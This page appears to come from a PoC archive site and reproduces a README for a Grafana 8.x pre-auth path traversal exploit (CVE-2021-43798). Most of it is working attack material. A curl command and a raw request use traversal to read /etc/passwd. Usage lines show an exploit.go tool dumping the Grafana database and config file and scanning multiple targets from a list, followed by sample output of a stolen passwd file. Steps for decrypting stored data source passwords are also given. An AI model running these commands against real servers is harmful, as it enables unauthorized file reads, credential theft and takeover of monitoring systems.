Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2021-43798 PoC — Grafana path traversal

Source
Associated Vulnerability
Title:Grafana path traversal (CVE-2021-43798)
Description:Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.
Description
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Readme
# CVE-2021-43798

Grafana 8.x Path Traversal (Pre-Auth)

All credits go to j0v and his tweet https://twitter.com/j0v0x0/status/1466845212626542607

## Disclaimer

This is for educational purposes only. I am not responsible for your actions. Use at your own discretion.

In good faith, I've held back releasing this PoC until either this vulnerability is public or a patch is available.

## Table of Content

* [Explanation](#Explanation) - Explaining the vulnerability
* [Attack Vectors](#Attack-Vectors) - List of attacks you can carry out
* [Exploit Script](#Exploit-Script) - Exploit script usage

## Explanation

I noticed a [tweet by j0v](https://twitter.com/j0v0x0/status/1466845212626542607) claiming to have found a Grafana path
traversal bug. Out of curiosity, I started looking at the Grafana source code. In the tweet, it was mentioned it was a
pre-auth bug. There are only a couple of public API endpoints in Grafana, and only one of those took a file path from
the user.

Grafana has a public API endpoint, `/public/plugins/:pluginId`, which allows you to view a plugin's assets. This works
by providing a valid `:pluginId` and then specifying the file path, such as `img/logo.png`. However, Grafana fails to
sanitize the user provided file path, leading to path traversal.

The directory being accessed is at `<grafana>/public/app/plugins/panel/<pluginId>`. On a standard Grafana installation,
the Grafana data directory is `/usr/share/grafana`. So by going back 8 directories, you can reach the filesystem root
directory.

HTTP Request:

```
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
```

Offending Code: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

**Note: This does not work in the browser (which automatically collapse the `../` in the path)**

It can be tested with curl by using the `--path-as-is` argument:
```
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
```

## Attack Vectors

These are some attacks that can be carried out using this vulnerability

### Dumping Sqlite Database

Grafana, by default, uses a sqlite3 database. This is stored in `/var/lib/grafana/grafana.db`. You can use the
[exploit.go](exploit.go) script to dump this database

Example:

```shell
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db
```

You can then read this database to obtain users, auth tokens, and data sources.

### Dumping defaults.ini Config File

Grafana stores its configuration in a `<grafana>/conf/defaults.ini` file. There are a couple of interesting values here
such as `secret_key`, `host` `user` `password` if using mysql isntead of sqlite3.

Example:

```shell
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini
```

Reference: https://grafana.com/docs/grafana/latest/administration/configuration/

### Decrypting Datasource Passwords

Grafana encrypts all data source passwords using AES-256-CBC using the `secret_key` in the `defaults.ini` config file.
We can dump this config file, as shown above, and then decrypt the values from the database.

Reference: https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key

### Session Takeover

Grafana stores session tokens in the table `auth_tokens`. I haven't been able to take over a session, but if you read
the source code, you could figure it out.

## Exploit Script

### Example

```shell
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798  - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
````

### Single Target

```shell
go run exploit.go -target <target> -file <path>
```

### Output to file

```shell
go run exploit.go -target <target> -file <path> -output <file>
```

Note: Does not work with multiple targets

### Multiple Targets

```shell
go run exploit.go -list <list> -file <path>
```

### Dump defaults.ini

```shell
go run exploit.go -target <target> -dump-config
```

### Dump sqlite3 database

```shell
go run exploit.go -target <target> -dump-database
```

### Build

```shell
make build
```
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →